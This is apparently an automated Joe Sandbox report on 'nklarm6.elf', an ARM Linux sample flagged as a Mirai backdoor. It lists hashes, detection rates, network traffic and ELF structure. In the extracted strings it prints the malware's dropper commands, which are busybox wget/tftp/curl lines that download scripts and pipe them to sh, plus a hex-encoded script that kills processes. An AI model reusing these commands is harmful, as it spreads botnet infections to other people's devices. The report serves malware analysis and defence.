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Linux Analysis Report
nklarm6.elf

Overview

General Information

Sample name:nklarm6.elf
Analysis ID:1580217
MD5:230d3228a20a22746ead8f48ca641d7b
SHA1:75f51a477b379b7231bb658d2d523698bcb1310b
SHA256:6836ce3a59e591bcb3debdbf2be79e9f25c4f3e9edc952037eb365a623d87118
Tags:elfuser-abuse_ch
Infos:

Detection

Score:48
Range:0 - 100
Whitelisted:false

Signatures

Multi AV Scanner detection for submitted file
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1580217
Start date and time:2024-12-24 04:29:07 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 30s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:nklarm6.elf
Detection:MAL
Classification:mal48.linELF@0/0@0/0
Command:/tmp/nklarm6.elf
PID:6226
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • nklarm6.elf (PID: 6226, Parent: 6145, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/nklarm6.elf
  • cleanup
No yara matches
No Suricata rule has matched

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Source: nklarm6.elfVirustotal: Detection: 30%Perma Link
Source: nklarm6.elfReversingLabs: Detection: 36%
Source: nklarm6.elfString: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4$z
Source: global trafficTCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global trafficTCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global trafficTCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
Source: nklarm6.elfString found in binary or memory: http:///curl.sh
Source: nklarm6.elfString found in binary or memory: http:///wget.sh
Source: unknownNetwork traffic detected: HTTP traffic on port 43928 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 42836 -> 443
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sampleString containing 'busybox' found: /bin/busybox
Source: Initial sampleString containing 'busybox' found: usage: busybox
Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sampleString containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D
Source: ELF static info symbol of initial sample.symtab present: no
Source: classification engineClassification label: mal48.linELF@0/0@0/0
Source: /tmp/nklarm6.elf (PID: 6226)Queries kernel information via 'uname': Jump to behavior
Source: nklarm6.elf, 6226.1.00007fff3e431000.00007fff3e452000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-arm/tmp/nklarm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nklarm6.elf
Source: nklarm6.elf, 6226.1.0000557eee109000.0000557eee237000.rw-.sdmpBinary or memory string: ~U!/etc/qemu-binfmt/arm
Source: nklarm6.elf, 6226.1.0000557eee109000.0000557eee237000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
Source: nklarm6.elf, 6226.1.00007fff3e431000.00007fff3e452000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
Source: nklarm6.elf, 6226.1.00007fff3e431000.00007fff3e452000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity Information1
Scripting
Valid AccountsWindows Management Instrumentation1
Scripting
Path InterceptionDirect Volume AccessOS Credential Dumping11
Security Software Discovery
Remote ServicesData from Local System1
Encrypted Channel
Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
Application Layer Protocol
Exfiltration Over BluetoothNetwork Denial of Service
No configs have been found
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Number of created Files
  • Is malicious
  • Internet
SourceDetectionScannerLabelLink
nklarm6.elf31%VirustotalBrowse
nklarm6.elf37%ReversingLabsLinux.Backdoor.Mirai
No Antivirus matches
No Antivirus matches
No Antivirus matches
No contacted domains info
NameSourceMaliciousAntivirus DetectionReputation
http:///wget.shnklarm6.elffalse
    high
    http:///curl.shnklarm6.elffalse
      high
      • No. of IPs < 25%
      • 25% < No. of IPs < 50%
      • 50% < No. of IPs < 75%
      • 75% < No. of IPs
      IPDomainCountryFlagASNASN NameMalicious
      109.202.202.202
      unknownSwitzerland
      13030INIT7CHfalse
      91.189.91.43
      unknownUnited Kingdom
      41231CANONICAL-ASGBfalse
      91.189.91.42
      unknownUnited Kingdom
      41231CANONICAL-ASGBfalse
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                                              No context
                                              No context
                                              No created / dropped files found
                                              File type:ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
                                              Entropy (8bit):6.0680545677620685
                                              TrID:
                                              • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                                              File name:nklarm6.elf
                                              File size:67'544 bytes
                                              MD5:230d3228a20a22746ead8f48ca641d7b
                                              SHA1:75f51a477b379b7231bb658d2d523698bcb1310b
                                              SHA256:6836ce3a59e591bcb3debdbf2be79e9f25c4f3e9edc952037eb365a623d87118
                                              SHA512:bc40844a9112fe04862ac61e93f9d9960bb6bdd34c52722242286450b34d398fb70318fc4af4cce4ccd0216121f58ec062451728e0c2e4ff4539f9f171867823
                                              SSDEEP:1536:/RnIvPX0JrcimstHuRQKL4gX9VbaMiiSYW/kF/nT3bsR:0/0iizNKL4zYW/kF/T3
                                              TLSH:0863E746BD81CA21C5D552BEB92E12CE331223B8D3DF7213DD106B647B8683B0D3BA56
                                              File Content Preview:.ELF..............(.....T...4...........4. ...(..................... ... ...............$...$... ...8...............Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../.X....... .....-.@0....S

                                              ELF header

                                              Class:ELF32
                                              Data:2's complement, little endian
                                              Version:1 (current)
                                              Machine:ARM
                                              Version Number:0x1
                                              Type:EXEC (Executable file)
                                              OS/ABI:UNIX - System V
                                              ABI Version:0
                                              Entry Point Address:0x8154
                                              Flags:0x4000002
                                              ELF Header Size:52
                                              Program Header Offset:52
                                              Program Header Size:32
                                              Number of Program Headers:3
                                              Section Header Offset:67024
                                              Section Header Size:40
                                              Number of Section Headers:13
                                              Header String Table Index:12
                                              NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                                              NULL0x00x00x00x00x0000
                                              .initPROGBITS0x80940x940x100x00x6AX004
                                              .textPROGBITS0x80b00xb00xf3ec0x00x6AX0016
                                              .finiPROGBITS0x1749c0xf49c0x100x00x6AX004
                                              .rodataPROGBITS0x174ac0xf4ac0xe740x00x2A004
                                              .init_arrayINIT_ARRAY0x203240x103280x40x00x3WA004
                                              .fini_arrayFINI_ARRAY0x203280x1032c0x40x00x3WA004
                                              .jcrPROGBITS0x2032c0x103300x40x00x3WA004
                                              .gotPROGBITS0x203300x103340x740x40x3WA004
                                              .dataPROGBITS0x203a40x103a80x1b40x00x3WA004
                                              .bssNOBITS0x205580x1055c0x245c0x00x3WA004
                                              .ARM.attributesARM_ATTRIBUTES0x00x1055c0x100x00x0001
                                              .shstrtabSTRTAB0x00x1056c0x620x00x0001
                                              TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                              LOAD0x00x80000x80000x103200x103206.09810x5R E0x8000.init .text .fini .rodata
                                              LOAD0x103240x203240x203200x2380xa6902.34470x6RW 0x8000.init_array .fini_array .jcr .got .data .bss
                                              GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
                                              TimestampSource PortDest PortSource IPDest IP
                                              Dec 24, 2024 04:29:49.751450062 CET43928443192.168.2.2391.189.91.42
                                              Dec 24, 2024 04:29:55.382759094 CET42836443192.168.2.2391.189.91.43
                                              Dec 24, 2024 04:29:56.918694019 CET4251680192.168.2.23109.202.202.202
                                              Dec 24, 2024 04:30:10.740608931 CET43928443192.168.2.2391.189.91.42
                                              Dec 24, 2024 04:30:20.979310989 CET42836443192.168.2.2391.189.91.43
                                              Dec 24, 2024 04:30:27.122421980 CET4251680192.168.2.23109.202.202.202
                                              Dec 24, 2024 04:30:51.694895983 CET43928443192.168.2.2391.189.91.42
                                              Dec 24, 2024 04:31:12.172066927 CET42836443192.168.2.2391.189.91.43

                                              System Behavior

                                              Start time (UTC):03:29:48
                                              Start date (UTC):24/12/2024
                                              Path:/tmp/nklarm6.elf
                                              Arguments:/tmp/nklarm6.elf
                                              File size:4956856 bytes
                                              MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1